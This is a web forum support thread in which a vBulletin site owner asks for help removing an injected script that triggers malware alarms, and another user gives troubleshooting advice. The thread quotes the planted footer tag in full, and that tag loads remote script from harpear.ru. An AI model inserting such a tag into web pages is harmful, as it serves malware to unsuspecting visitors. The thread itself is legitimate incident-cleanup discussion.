Iframe " harpear.ru " Footer Problem

[Ghoghnuse]

Hello

Yesterday everybody who open forum get a Malvare Alarm ...



I checked index and find this code on footer :

<script src="http://harpear.ru:8080/blogfa-com/google.com/archive.org.php" defer="">

</script>

I try this solutions :

1 : change all password immediately ( ftp + Cpanel )
2 : Reinstall Vbulletin and overwrite clean files and upload clean .htaccess file

But problem still remain .

and then ; i try to find .php files in shared folders ... bud i couldn't find any files .

Try this hack ... this hack show footer template change but i didn't find any iframe in footer templates ... and after run ; problem still remain .

finally i disabled all of my plugins in admincp ...

Strange case !! Problem in half of my styles solve but in other styles remain ...

Now , i disable infected stiles and with other style i haven't any malvare message and forum seems work normal

But i want to ask ; what can i do to find invisible code in footer ?

Any solution or tips to find hidden script ?

Many thanks

[KW802]

When you say that you re-installed vBulletin, does that include a clean copy of your style templates? Do a search in your Style Manager for the text to see if anything shows up.

[Ghoghnuse]

When you say that you re-installed vBulletin, does that include a clean copy of your style templates? Do a search in your Style Manager for the text to see if anything shows up.

No ... only vbulletin main files overwrited . I haven't ant clean version of my styles ... but i search templates for script code and couldn't find anything ...

[KW802]

No ... only vbulletin main files overwrited . I haven't ant clean version of my styles ... but i search templates for script code and couldn't find anything ...

If you're 100% certain that you have all clean copies of the various vB php files and you're 100% certain it is not coming from add-on/hack you have installed, then it is coming from either a plugin or a modified template. Is it showing up on every page? If so, start by looking at your 'footer' template to see if any modifications are in there that you don't recognize. The text may be obfuscated so you can't find it easily. If it is only appearing on some pages (eg: forum home) then check those individual templates.

When you browse your styles in Style Manager, take a look to see which ones show up in the listing in a different color indicating that they have been modified.

[Ghoghnuse]

If you're 100% certain that you have all clean copies of the various vB php files and you're 100% certain it is not coming from add-on/hack you have installed, then it is coming from either a plugin or a modified template. Is it showing up on every page? If so, start by looking at your 'footer' template to see if any modifications are in there that you don't recognize. The text may be obfuscated so you can't find it easily. If it is only appearing on some pages (eg: forum home) then check those individual templates.

When you browse your styles in Style Manager, take a look to see which ones show up in the listing in a different color indicating that they have been modified.

Thank !

I and find a clue ...

All .JS files are Change about +2 Kb ... only Styles without script in footer are clean .

But in .js source code i couldn't find ant iframe ... only long code add to this files ....

I will try to overwrite all .js files with clean version ...